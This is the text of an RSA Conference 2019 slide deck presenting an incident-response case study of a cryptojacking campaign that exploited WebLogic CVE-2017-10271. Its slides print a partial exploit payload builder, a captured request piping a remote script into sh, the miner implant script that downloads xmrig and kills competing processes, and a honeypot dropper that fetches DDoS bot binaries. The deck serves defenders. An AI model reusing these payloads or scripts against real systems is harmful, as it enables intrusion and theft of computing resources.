

RSA® Conference 2019

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BETTER.

SESSION ID: SEM-M031

Cutting the Wrong Wire: How a Clumsy Hacker Exposed a Global Cyberattack

RENATO MARINHO

 morphuslabs.com


 [@renato_marinho](https://twitter.com/renato_marinho)

 linkedin.com/in/renatomarinho

#RSAC



CRYPTOCURRENCY TRANSACTIONS



CRYPTOCURRENCY TRANSACTIONS



CPU



GPU



ASIC



Data Centers



Mining Pools

BITCOIN VS. USD VARIATION



CRYPTO JACKING

- Crypto jacking is an unauthorized use of someone else's computer power to mine cryptocurrency
- The term is associated both for malicious mining on user's Internet browsers and for computers or servers infected with malicious software

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INCIDENTE RESPONSE

Global Crypto jacking Campaign



PERFORMANCE ISSUES

A multinational company started having performance problems on its main business application

FIRST SIGNS

```
top - 18:54:27 up 343 days, 5:34, 10 users, load average: 3.31, 3.28, 3.18
Tasks: 859 total, 2 running, 857 sleeping, 0 stopped, 0 zombie
Cpu(s): 67.1%us, 29.1%sy, 3.8%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 5992980k total, 5867296k used, 125684k free, 23512k buffers
Swap: 4161532k total, 8224k used, 4153308k free, 271188k cached

24839 root      20   0 28128 1936  964 R 85.3  0.0  1420:25 top
6427 wlsadm11  20   0 273m 7980  900 S 92.1  0.1  1297:55 rcp_bh
24839 root      20   0 28128 1936  964 R 82.8  0.0  1420:28 top
10096 wlsadm11 20   0 3522m 2.1g 5612 S 15.2 37.3  40:03.63 java
 369 wlsadm11  20   0 3159m 2.0g 3316 S  4.3 34.3  919:32.62 java
22960 root      0  -20 53812 8444 1620 S  3.0  0.1  12203:15 scopeux
  4 root      20   0   0   0 S  1.0  0.0  13:30.64 ksoftirqd/0
2257 wlsadm11  20   0 2418m 184m 2348 S  0.7  3.2  4990:55 java
7451 wlsadm11  20   0 28132 1996 1032 R  0.7  0.0  0:00.08 top
  11 root     20   0   0   0 S  0.3  0.0  554:47.05 events/0
7293 nagios    20   0 28128 2000 1028 S  0.3  0.0  0:00.97 top
25079 root     20   0 1163m  47m 2484 S  0.3  0.8  494:25.00 python
  1 root     20   0 23496 1116  876 S  0.0  0.0  0:39.58 init
  2 root     20   0   0   0 S  0.0  0.0  0:06.13 kthreadd
  3 root     RT   0   0   0 S  0.0  0.0  1:41.15 migration/0
  5 root     RT   0   0   0 S  0.0  0.0  0:00.00 stopper/0
  6 root     RT   0   0   0 S  0.0  0.0  0:50.58 watchdog/0
  7 root     RT   0   0   0 S  0.0  0.0  1:42.88 migration/1
  8 root     RT   0   0   0 S  0.0  0.0  0:00.00 stopper/1
  9 root     20   0   0   0 S  0.0  0.0  11:33.34 ksoftirqd/1
```

Middle Dec 2017 –
IT Monitoring Team
detected unusual
CPU consumption
on Web Servers

FIRST SIGNS

```
24839 root      20   0 28128 1936  964 R 47.6  0.0  1420:40 top
PID to kill: ill - )^C
24839 root      20   0 28128 1936  964 R 64.5  0.0  1420:42 top
10096 wlsadm11  20   0 3522m 2.1g 5612 S  7.3 37.3  40:07.33 java
  369 wlsadm11  20   0 3159m 2.0g 3316 S  4.6 34.3  919:33.36 java
22960 root      0 -20 53812 8444 1620 S  3.0  0.1  12203:15 scopeux
2257 wlsadm11  20   0 2418m 184m 2348 S  1.0  3.2  4990:55 java
  4 root       20   0   0   0 S  0.7  0.0  13:30.71 ksoftirqd/0
7293 nagios    20   0 28128 2000 1028 S  0.7  0.0  0:01.11 top
7524 root      20   0 28164 1992 1024 R  0.7  0.0  0:00.02 top
25079 root      20   0 1163m 47m 2484 S  0.3  0.8  494:25.01 python
  1 root       20   0 23496 1116  876 S  0.0  0.0  0:39.58 init
  2 root       20   0   0   0 S  0.0  0.0  0:06.13 kthreadd
  3 root       RT  0   0   0 S  0.0  0.0  1:41.15 migration/0
  5 root       RT  0   0   0 S  0.0  0.0  0:00.00 stopper/0
  6 root       RT  0   0   0 S  0.0  0.0  0:50.58 watchdog/0
  7 root       RT  0   0   0 S  0.0  0.0  1:42.88 migration/1
  8 root       RT  0   0   0 S  0.0  0.0  0:00.00 stopper/1
  9 root       20   0   0   0 S  0.0  0.0  11:33.42 ksoftirqd/1
 10 root      RT  0   0   0 S  0.0  0.0  0:38.50 watchdog/1
 11 root      20   0   0   0 S  0.0  0.0  554:47.06 events/0
 12 root      20   0   0   0 S  0.0  0.0  29:58.57 events/1
 13 root      20   0   0   0 S  0.0  0.0  0:00.00 events/0
 14 root      20   0   0   0 S  0.0  0.0  0:00.00 events/1
 15 root      20   0   0   0 S  0.0  0.0  0:00.00 events_long/0
 16 root      20   0   0   0 S  0.0  0.0  0:00.00 events_long/1
 17 root      20   0   0   0 S  0.0  0.0  0:00.00 events_power_ef
 18 root      20   0   0   0 S  0.0  0.0  0:00.00 events_power_ef
 19 root      20   0   0   0 S  0.0  0.0  0:00.00 cgroup
 20 root      20   0   0   0 S  0.0  0.0  0:35.46 khelper
 21 root      20   0   0   0 S  0.0  0.0  0:00.00 netns
 22 root      20   0   0   0 S  0.0  0.0  0:00.00 async/mgr
 23 root      20   0   0   0 S  0.0  0.0  0:00.00 pm
 24 root      20   0   0   0 S  0.0  0.0  6:10.29 sync_supers
 25 root      20   0   0   0 S  0.0  0.0  10:09.65 bdi-default
 26 root      20   0   0   0 S  0.0  0.0  0:00.00 kintegrityd/0
 27 root      20   0   0   0 S  0.0  0.0  0:00.00 kintegrityd/1
 28 root      20   0   0   0 S  0.0  0.0  3:18.72 kblockd/0
 29 root      20   0   0   0 S  0.0  0.0  4:07.20 kblockd/1
 30 root      20   0   0   0 S  0.0  0.0  0:00.00 kacpid
 31 root      20   0   0   0 S  0.0  0.0  0:00.00 kacpi_notify
 32 root      20   0   0   0 S  0.0  0.0  0:00.00 kacpi_notify
 33 root      20   0   0   0 S  0.0  0.0  0:00.00 ata_aux
 34 root      20   0   0   0 S  0.0  0.0  0:00.00 ata_sff/0
 35 root      20   0   0   0 S  0.0  0.0  0:00.00 ata_sff/1
[root@... ~]# kill -9 24839
```

Triage team examined and reported back that some **native Linux processes** were consuming CPU

Triage team restarted servers or killed “stuck” processes

SERVICE CRASH ISSUES

- After a month trying to understand the performance issues, the service started crashing, hardly impacting business operations
- Different companies started reporting similar issues at the same day

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DIGITAL FORENSICS



FILESYSTEM ANALYSIS

12/28/2017	17:54:44 UTC	MACB	FILE	EXT4 Content Modification Time	Content Modification Time; C -	-	/log/sudo-io/00/00/CX
12/28/2017	17:54:44 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/log/sudo-io/00/00/CX/ttyin
12/28/2017	17:54:44 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/log/sudo-io/00/00/CX/stdin
12/28/2017	17:54:44 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/log/sudo-io/00/00/CX/stdout
12/28/2017	17:54:44 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/log/sudo-io/00/00/CX/stderr
12/28/2017	17:54:44 UTC	MACB	FILE	EXT4 Content Modification Time	Content Modification Time; C -	-	/log/sudo-io/00/00/CX/log
12/28/2017	17:54:44 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/log/sudo-io/00/00/CX/timing
12/28/2017	17:54:44 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/log/sudo-io/00/00/CX/ttyout
12/28/2017	17:56:18 UTC	..C.	FILE	EXT4 Metadata Modification Time	Metadata Modification Time -	-	/watch-smartd
12/28/2017	17:56:18 UTC	..C.	FILE	EXT4 Metadata Modification Time	Metadata Modification Time -	-	/carbon
12/28/2017	17:56:18 UTC	..C.	FILE	EXT4 Metadata Modification Time	Metadata Modification Time -	-	/rcn_bh
12/30/2017	02:38:06 UTC	.A.B	FILE	EXT4 Creation Time	Creation Time; Last Access Ti -	-	/tmp/config.json
12/30/2017	02:38:07 UTC	...B	FILE	EXT4 Creation Time	Creation Time	-	/tmp/pubg
12/30/2017	04:23:41 UTC	M...	FILE	EXT4 Content Modification Time	Content Modification Time	-	/wlsadm11/BPAXDomainO-08/Allegro01/access.log00077
12/30/2017	06:45:03 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time; N -	-	/tmp/get_cust_attr.py
01/01/2018	13:04:54 UTC	.A..	FILE	EXT4 Last Access Time	Last Access Time	-	/usr/bin/base64
01/01/2018	13:04:57 UTC	...B	FILE	EXT4 Creation Time	Creation Time	-	/wlsadm11/bea/user_projects/domains/BPAXDomainO-08/java
01/01/2018	13:04:57 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time; N -	-	/wlsadm11/bea/user_projects/domains/BPAXDomainO-08
01/01/2018	13:04:58 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time; N -	-	/wlsadm11/nodemanager/NodeManager_180117_1319.out
01/01/2018	13:04:58 UTC	M...	FILE	EXT4 Content Modification Time	Content Modification Time	-	/wlsadm11/BPAXDomainO-08/AllegroServices01/AllegroServices01.out00
01/01/2018	13:04:58 UTC	...B	FILE	EXT4 Creation Time	Creation Time	-	/wlsadm11/bea/user_projects/domains/BPAXDomainO-08/servers/Allegro01
01/01/2018	13:05:04 UTC	M...	FILE	EXT4 Content Modification Time	Content Modification Time	-	/wlsadm11/BPAXDomainO-08/Allegro01/Allegro01.out00501
01/01/2018	13:05:04 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time; N -	-	/bea/wls11/dynatrace/dynatrace-6.2/log/dt_Allegro01_9960.0.log
01/01/2018	19:57:30 UTC	.A..	LOG	UTMP session	Start Time	-	User: hp4068083
01/01/2018	19:57:30 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time; N -	-	/hp4068083
01/01/2018	19:57:30 UTC	M..B	FILE	EXT4 Content Modification Time	Content Modification Time; C -	-	/hp4068083/.bash_history
01/01/2018	19:57:30 UTC	..C.	FILE	EXT4 Metadata Modification Time	Metadata Modification Time	-	/hp4068083/.bash_history
01/01/2018	19:57:30 UTC	.A..	FILE	EXT4 Last Access Time	Last Access Time	-	/hp4068083/.bashrc
01/01/2018	19:57:30 UTC	.A..	FILE	EXT4 Last Access Time	Last Access Time	-	/hp4068083/.bash_profile
01/01/2018	19:57:30 UTC	.A..	FILE	EXT4 Last Access Time	Last Access Time	-	/hp4068083/.bash_history
01/01/2018	19:59:23 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time; N -	-	/log/sudo-io/00/00/CV/stdin
01/01/2018	19:59:23 UTC	M.C.	FILE	EXT4 Content Modification Time	Content Modification Time	-	/wlsadm11/BPAXDomainO-08/Allegro01/Allegro01.out00501

SUSPECT BINARY ANALYSIS

```
{
  "algo": "cryptonight",
  "av": 0,
  "background": false,
  "colors": true,
  "cpu-affinity": null,
  "cpu-priority": null,
  "donate-level": 1,
  "log-file": null,
  "max-cpu-usage": 90,
  "print-time": 60,
  "retries": 5,
  "retry-pause": 5,
  "safe": false,
  "syslog": false,
  "threads": null,
  "pools": [
    {
      "url": "stratum+tcp://get_hi-chi.com:3333",
      "user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
      "pass": "x",
      "keepalive": false,
      "nicehash": false
    }
  ]
}
```



SUSPECT BINARY ANALYSIS

```

stratum+tcp://pool.minexmr.com:80
4AQe5sAFWZKECiaeNTt59LG7kVtqRoSRJMjrmQ6GiMFAeUvoL3MFeTE6zwwHkFPrAyNw2JHDxUSWL82RizThPpk4SEg7Vqe
% unsupported non-option argument %
No pool URL supplied. Exiting.
a:c:khBp:Px:r:R:s:t:T:o:u:O:v:Vl:S
Usage: update [OPTIONS]
Options:
-a, --algo=ALGO      cryptonight (default) or cryptonight-lite
-o, --url=URL        URL of mining server
-O, --userpass=U:P   username:password pair for mining server
-u, --user=USERNAME  username for mining server
-p, --pass=PASSWORD  password for mining server
-t, --threads=N      number of miner threads
-v, --av=N           algorithm variation, 0 auto select
-k, --keepalive      send keepalive for prevent timeout (need pool support)
-r, --retries=N      number of times to retry before switch to backup server (default: 5)
-R, --retry-pause=N  time to pause between retries (default: 5)
--cpu-affinity       set process affinity to CPU core(s), mask 0x3 for cores 0 and 1
--cpu-priority       set process priority (0 idle, 2 normal to 5 highest)
--no-huge-pages      disable huge pages support
--no-color           disable colored output
--donate-level=N     donate level, default 5% (5 minutes in 100 minutes)
--user-agent          set custom user-agent string for pool
-B, --background     run the miner in the background
-c, --config=FILE    load a JSON-format configuration file
-l, --log-file=FILE  log all output to a file
-S, --syslog          use system log for output messages
--max-cpu-usage=N   maximum CPU usage for automatic threads mode (default 75)
--safe               safe adjust threads and av settings for current CPU
--nicehash           enable nicehash/xmrig proxy support
--print-time=N       print hashrate report every N seconds
--api-port=N         port for the miner API
--api-access-token=T access token for API
--api-worker-id=ID   custom worker-id for API
-h, --help            display this help and exit
-V, --version         output version information and exit
[01;32m *
[01;37mVERSIONS:
[01;36mXMRig/%s

```

Hardcoded Wallet Address

XMRig

Basic Properties	
Type	ELF
Size	2.17 MB
Detections	25 / 56 ▲
ALYac	Misc.Riskware.BitCoinMiner.Linux
AhnLab-V3	ELF/Coinminer.2274080
Antiy-AVL	RiskWare[RiskTool]/Linux.BitCoinMiner.n
Avira	PUA/CoinMiner.mewnv
CAT-QuickHeal	Trojan.linux.Agent.5257

HOW THOSE FILES WERE PUT THERE?

```
1287 3.166.60] 12675 ([] -> wlsadm11) 2836 2018-01-01 10:04:57 - New connection ().  
1288 3.166.60] 12675 ([] -> wlsadm11) 2837 2018-01-01 10:04:57 - #!/bin/bash  
1289 3.166.60] 12675 ([] -> wlsadm11) 2837 2018-01-01 10:04:57 - #!/bin/bash  
1290 3.166.60] 12675 ([] -> wlsadm11) 2838 2018-01-01 10:04:57 - sPid=$$  
1291 3.166.60] 12675 ([] -> wlsadm11) 2839 2018-01-01 10:04:57 - mPid=$$  
1292 3.166.60] 12675 ([] -> wlsadm11) 2840 2018-01-01 10:04:57 - mName='java'  
1293 3.166.60] 12675 ([] -> wlsadm11) 2840 2018-01-01 10:04:57 - mName='java'  
1294 3.166.60] 12675 ([] -> wlsadm11) 2841 2018-01-01 10:04:57 - checkCmd() { command -v $1 >/dev/null 2>&1; }  
1295 3.166.60] 12675 ([] -> wlsadm11) 2841 2018-01-01 10:04:57 - checkCmd() { command -v $1 >/dev/null 2>&1; }  
1296 3.166.60] 12675 ([] -> wlsadm11) 2842 2018-01-01 10:04:57 - downloader () { if checkCmd wget; then wget $1 -O $2 ; elif che  
1297 3.166.60] 12675 ([] -> wlsadm11) 2842 2018-01-01 10:04:57 - downloader () { if checkCmd wget; then wget $1 -O $2 ; elif che  
1298 3.166.60] 12675 ([] -> wlsadm11) 2843 2018-01-01 10:04:57 - killer() { for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | t  
1299 3.166.60] 12675 ([] -> wlsadm11) 2843 2018-01-01 10:04:57 - killer() { for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | t  
1300 3.166.60] 12675 ([] -> wlsadm11) 2844 2018-01-01 10:04:57 - runer() { if [ -z "$mPid" ]; then if [ ! -f $ mName ]; then  
1301 3.166.60] 12675 ([] -> wlsadm11) 2844 2018-01-01 10:04:57 - runer() { if [ -z "$mPid" ]; then if [ ! -f $ mName ]; then  
1302 3.166.60] 12675 ([] -> wlsadm11) 2845 2018-01-01 10:04:57 - pkill python; pkill $ mName  
1303 3.166.60] 12675 ([] -> wlsadm11) 2846 2018-01-01 10:04:57 - downloader http://165.227.215.25/xmrig-y $ mName  
1304 3.166.60] 12675 ([] -> wlsadm11) 2847 2018-01-01 10:04:59 - runer  
1305 3.166.60] 12675 ([] -> wlsadm11) 2848 2018-01-01 10:04:59 - killer
```

WebLogic User

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WEBLOGIC VULNERABILITY



WEBLOGIC VULNERABILITY

- CVE 2017–10271 – Published 17 Oct 2017
 - Remote code execution
 - No authentication required
 - Easily exploitable
 - Impacted versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 e 12.2.1.2.0

```
[root@xxxxxxxxxx ~]# java -cp weblogic.jar weblogic.version  
WebLogic Server 10.3.6.0 Tue Nov 15 08:52:36 PST 2011 1441050
```

WEBLOGIC EXPLOIT

```

6
7 def payload_command (command_in):
8     html_escape_table = {
9         "&": "&amp;",
10        "'": "&quot;",
11        '"': "&apos;",
12        '>': "&gt;",
13        '<': "&lt;",
14    }
15    command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
16    payload_1 = "<soapenv:Envelope xmlns:soapenv=\\"http://schemas.xmlsoap.org/soap/envelope/\\> \n" \
17        "    <soapenv:Header> " \
18        "        <work:WorkContext xmlns:work=\\"http://bea.com/2004/06/soap/workarea/\\> \n" \
19        "            <java version=\\"1.8.0_151\\" class=\\"java.beans.XMLDecoder\\> \n" \
20        "            <void class=\\"java.lang.ProcessBuilder\\> \n" \
21        "                <array class=\\"java.lang.String\\> length=\\"3\\"> " \
22        "                    <void index = \\"0\\"> " \
23        "                        <string>cmd</string> " \
24        "                    </void> " \
25        "                    <void index = \\"1\\"> " \
26        "                        <string>/c</string> " \
27        "                    </void> " \
28        "                    <void index = \\"2\\"> " \
29        "+ command_filtered + \
30        "                    </void> " \
31        "                </array>" \
32        "                <void method=\\"start\\"/>" \
33        "            </void>" \
34        "        </java>" \
35        "        </work:WorkContext>" \
36        "    </soapenv:Header>" \
37        "    <soapenv:Body/>" \
38        "</soapenv:Envelope>"
39    return payload_1
40

```

Published 23 Dec 2017

<https://github.com/c0mmand3rOpSec/CVE-2017-10271/blob/master/exploit.py>

ATTACK EVIDENCE

Wireshark · Follow HTTP Stream (tcp.stream eq 22) · weblogic3


```
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 34.215.12.151:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.36
Content-Length: 556
Content-Type: text/xml
Accept-Encoding: gzip
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void
class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/
bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl
http://94.250.253.178/logo8.sh | sh</string> </void> </array> <void method="start"/> </void> </java> </
work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>HTTP/1.1 500 Internal Server Error
Connection: close
```

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SCOPING THE INCIDENT

SCOPING THE INCIDENT




Legend

- Campaign 1
- Campaign 2
- Campaign 3
- Campaign 4

Victim targeted by multiple campaigns

A GLOBAL CAMPAIGN




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CRIMINALS' PROFITS




CAMPAIGN 4



~ \$ 2,881 USD

CAMPAIGN 3



~ \$ 4,130 USD

CAMPAIGN 2

矿工状态 & 支付历史

44R6cfEH1wM6HHKGa3jk3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtjqWbwave4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx

Q 搜索


尚未支付: 0.134783959252 XMR

总共支付: 26.600000000000 XMR

最后提交Hash: less than a minute ago

速率: 6.96 KH/sec

总共提交Hash: 169059025699



~ \$ 7,670 USD

CAMPAIGN 1

Your Stats & Payment History

Look at [worker stats](#) for hash rates and worker stats

4AQe5sAFWZKECiaeNTt59LG7kVtqRoSRJMjrmQ6GiMFAeUvoL3MFeTE6zwwHkFPrAyNw2JHDxUSWL82RizThPpk4SEg7Vqe

Address: **4AQe5sAFWZKECiaeNTt59LG7kVtqRoSRJMjrmQ6GiMFAeUvoL3MFeTE6zwwHkFPrAyNw2JHDxUSWL82RizThPpk4SEg7Vqe**

Pending Balance: 1.972341050165 XMR

Personal Threshold (Editable): 1.000 XMR

Once you reach your threshold, you will get a free auto-payout within 24 hours

Manual Payments Disabled

Total Paid: 644.217011465000 XMR

~ \$ 189,980 USD

TOTAL

\$ 204,661 USD

In less then two months



Why those
silent attacks
were discovered?

FIGHTING FOR VICTIM'S CPU

- Trying to avoid other applications competing for the CPU, crypto mining campaigns kill consuming processes
- Commonly, the implant script kills other crypto mining on the same host

FIGHTING FOR VICTIM'S CPU

```
$counters = (Get-Counter '\Process(*)\% Processor Time').CounterSamples
$malwares = [redacted]
$malwares2 = "Silence", "Carbon", "xmrig32", "nscpuclnminer64", "mrservicehost", "servisce", "svchosts3", "svhos
"taskhost", "vrmserver", "vshell", "winlogan", "winlogo", "logon", "winlnit", "wininits", "winlnlts", "taskngr",
"taskhots", "svchostx", "xmr86", "xmrig", "xmr", "winlogin", "winlogins", "ccsvchst", "nscpuclnminer64", "update_
foreach ($counter in $counters) {
    if ($counter.CookedValue -ge 40) {
        if ($counter.InstanceName -eq "idle" -Or $counter.InstanceName -eq "_total") {
            continue
        }
        foreach ($malware in $malwares) {
            if ($counter.InstanceName -eq $malware) {
                Stop-Process -processname $counter.InstanceName -Force
            }
        }
    }
    foreach ($malware2 in $malwares2) {
        if ($counter.InstanceName -eq $malware2) {
            Stop-Process -processname $counter.InstanceName -Force
        }
    }
}
```

KILLING COMPETITORS

```
56 |     mPid= ps -eo pid,command | grep $mName | head -n 1 | awk '{print $
57 }
58 pkill python; pkill $mName
59 downloader http://165.227.215.25/xmrig-y $mName
60 runer
61 killer
62 while true; do
63     sleep 10;
64     if ps -p $mPid > /dev/null; then
65         killer;
66     else
67         mPid='';
68         runer;
69     fi;
70 done
71 history
72 exit
```

KILLING COMPETITORS

```
24  
25 killer() {  
26     for tmpVar in `ps -aeo pid,%cpu,command | sed 1d | sort -k 2 | tail -n 10 | awk '{print $1}'`; do  
27         if [ $tmpVar = $sPid ]; then  
28             continue;  
29         fi;  
30         if [ $tmpVar = $mPid ]; then  
31             continue;  
32         fi;  
33         if [ `ps -o %cpu $tmpVar | sed 1d | sed 's/\..*//g'` -ge 60 ]; then  
34             if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep java` ]; then  
35                 continue;  
36             fi;  
37             if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep sh` ]; then  
38                 continue;  
39             fi;  
40             if [ `ps $tmpVar | sed 1d | awk '{print $5}' | grep bash` ]; then  
41                 continue;  
42             fi;  
43             kill -9 $tmpVar;  
44             rm -f `ls -l /proc/$tmpVar/exe 2>&1 | sed 's/.*-> //g'`;  
45         fi;  
46     done;  
47 }
```

Avoiding to kill java

KILLING OTHER INSTANCES

```
56 |     mPid= ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'  
57 }  
58 pkill python; pkill $mName  
59 downloader http://165.227.215.25/xmrig-y $mName  
60 runer  
61 killer  
62 while true; do  
63     sleep 10;  
64     if ps -p $mPid > /dev/null; then  
65         killer;  
66     else  
67         mPid='';  
68         runer;  
69     fi;  
70 done  
71 history  
72 exit
```

**They also
kills already
running
instances of
its own
crypto miner**

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CUTTING THE WRONG WIRE



CUTTING THE WRONG WIRE

```
1 #!/bin/bash
2 sPid=$$
3 mPid=''
4 mName='java' ←
5 checkCmd() {
6     command -v $1 >/dev/null 2>&1;
7 }
8 downloader () {
9     if checkCmd wget; then
10        wget $1 -O $2 ;
11    elif checkCmd curl; then
12        curl $1 -O $2;
```

**Trying to hide
amongst
legitimate
processes**

KILLING OTHER INSTANCES

```
56 |     mPid= ps -eo pid,command | grep $mName | head -n 1 | awk '{print $1}'  
57 }  
58 pkill python; pkill $mName  
59 downloader http://165.227.215.25/xmrig-y $mName  
60 runer  
61 killer  
62 while true; do  
63     sleep 10;  
64     if ps -p $mPid > /dev/null; then  
65         killer;  
66     else  
67         mPid='';  
68         runer;  
69     fi;  
70 done  
71 history  
72 exit
```

**They also
kills already
running
instances of
its own
crypto miner**

CUTTING THE WRONG WIRE

- So, the clumsy campaign killed “java” process on victim’s machines
- It turns out that Killing “java” on WebLogic servers means killing “WebLogic” process!

CUTTING THE WRONG WIRE

```
####<Jan 2, 2018 1:03:50 AM CLST> ol named >
####<Jan 2, 2018 1:03:50 AM CLST> g.>
####<Jan 2, 2018 1:03:50 AM CLST> nection factories.>
####<Jan 2, 2018 1:03:50 AM CLST> .>
####<Jan 2, 2018 1:03:50 AM CLST> BC service.>
####<Jan 2, 2018 1:03:50 AM CLST> BC service completed.>
####<Jan 2, 2018 1:03:50 AM CLST> service.>
####<Jan 2, 2018 1:03:50 AM CLST> rvice completed.>
####<Jan 2, 2018 1:03:50 AM CLST> uite threads.>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830899>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830914>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830925>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830926>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830927>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830928>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830928>
                                     <Thread-1> <<WLS Kernel>> <> <> <1514865830940>
                                     services01> <Thread-1> <<WLS Kernel>> <> <> <1514865830940>
                                     EA-000236> <Stopping exec
```

WebLogic process shutting down...

GETTING COMMUNITY INVOLVED

Threat Level: **GREEN**

SANS ISC InfoSec Forums

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Campaign is using a recently released WebLogic exploit to deploy a Monero miner

In the last couple of days, we received some reports regarding a malicious campaign which is deploying Monero cryptocurrency miners on victim's machines. After analyzing a compromised environment, it was possible to realize that a critical Oracle WebLogic flaw, **for which the exploit was made public a few days ago**, is being used.

The vulnerability (CVE 2017-10271),[\[1\]](#) is present in WebLogic Web Services component (wls-wsat) and, due to improperly user input sanitizing, it may allow an unauthenticated remote attacker to execute remote arbitrary commands with the privileges of the WebLogic server user.

The exploit is pretty simple to execute and comes with a Bash script to make it easy to scan for potential victims. The test script basically checks for the string "Web Services" while accessing the URL <HOST>/wls-wsat/CoordinatorPortType, as seen in the image below.

Endpoint	Information
Service Name: {http://schemas.xmlsoap.org/ws/2004/10/wsat}WSAT10Service Port Name: {http://schemas.xmlsoap.org/ws/2004/10/wsat}CoordinatorPortTypePort	Address: http://<HOST>/wls-wsat/CoordinatorPortType WSDL: http://<HOST>/wls-wsat/CoordinatorPortType?wsdl Implementation class: weblogic.wsee.wsat.wsat.v10.endpoint.CoordinatorPortTypePortImpl

Renato
33 POSTS
ISC HANDLER

Questions?
Feedback?
Use our [contact form](#)



Not long ago, those vulnerabilities
were usually exploited to deploy
ransomware or to carry other
extortion attacks



Crypto jacking was considered
one of the TOP 5 new dangerous
attack techniques for 2018




The Five Dangerous Attacks



WHAT IS HAPPENING NOW?

- A vulnerable WebLogic honeypot maintained by Morphus Labs was targeted thousands of times since Jan/2018
- Additionally to crypto jacking, attackers are deploying backdoors and DDoS Botnets
- Mixed campaigns – Ransomware or Crypto jacking depending on victim's resources and attacker privileges

WHAT IS HAPPENING NOW?



```

GET /testshell.sh HTTP/1.1
User-Agent: Java1.6.0_45
Host: 121.18.238.56:8080
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 507
Accept-Ranges: bytes
Server: HFS 2.3k
Set-Cookie: HFS_SID_=0.566237144637853; path=/; HttpOnly
ETag: 07DD77640C08DBC2293CA12DA304CF0D
Last-Modified: Wed, 18 Jul 2018 23:07:55 GMT
Content-Disposition: attachment; filename="testshell.sh";

if [ `whoami` = "root" ];
then
    echo "you are root"
    curl -o "SYN_145" http://121.18.238.56:8080/SYN_145
    wget http://121.18.238.56:8080/SYN_145
    chmod 777 SYN_145
    ./SYN_145
    curl -o "a4.sh" http://121.18.238.56:8080/a4.sh
    chmod 777 a4.sh
    nohup ./a4.sh >> /tmp/1.txt &
else
    curl -o "SYN_7008" http://121.18.238.56:8080/SYN_7008
    wget http://121.18.238.56:8080/SYN_7008
    chmod 777 SYN_7008
    ./SYN_7008
    curl -o "a5.sh" http://121.18.238.56:8080/a5.sh
    chmod 777 a5.sh
    nohup ./a5.sh >> /tmp/2.txt &
...

```

Packet 177697. 1 client pkt(s), 1 server pkt(s), 1 turn(s). Click to select.

Entire conversation (989 bytes)



```

0x080fee86      popal
,=< 0x080fee87      jae 0x80feeee
0x080fee89      ~ add byte [ecx], dh
;-- str.13CPacketAttack:
;-- typeinfonameforCPacketAttack:
0x080fee8a      .string "13CPacketAttack"; len=16
0x080fee9a      add byte [eax], al
;-- typeinfoforCAttackUdp:
0x080fee9c      sub byte [edi], bl
0x080fee9e      adc ecx, dword [eax]
0x080fea0      test al, 0xee ; 238
0x080fea2      invd
0x080fea4      push 0x31080fee
;-- str.10CAttackUdp:
0x080fea7      .string "\b10CAttackUdp"; len=14
;-- typeinfonameforCAttackUdp:
0x080fea8      xor dword [eax], esi
0x080feeaa      inc ebx
0x080feeab      inc ecx
,====< 0x080feeac      je 0x80fef22
0x080feeae      popal
0x080feeaf      arpl word [ebx + 0x55], bp
,=====< 0x080feeb2      jo 0x80feeb5
;--> 0x080feeb5      add byte [eax], al
0x080feeb7      ~ add byte [eax], ch
;-- typeinfoforCAttackSyn:
0x080feeb8      sub byte [edi], bl
0x080feeaa      adc ecx, dword [eax]
0x080feebe      invalid
0x080feebd      out dx, al
0x080feebe      invd
0x080fec0      push 0x31080fee
;-- str.10CAttackSyn:
0x080fec3      .string "\b10CAttackSyn"; len=14
;-- typeinfonameforCAttackSyn:
0x080fec4      xor dword [eax], esi
0x080fec6      inc ebx
0x080fec7      inc ecx

```

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BETTER.

SESSION ID: SEM-M031

THANKS!

RENATO MARINHO

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#RSAC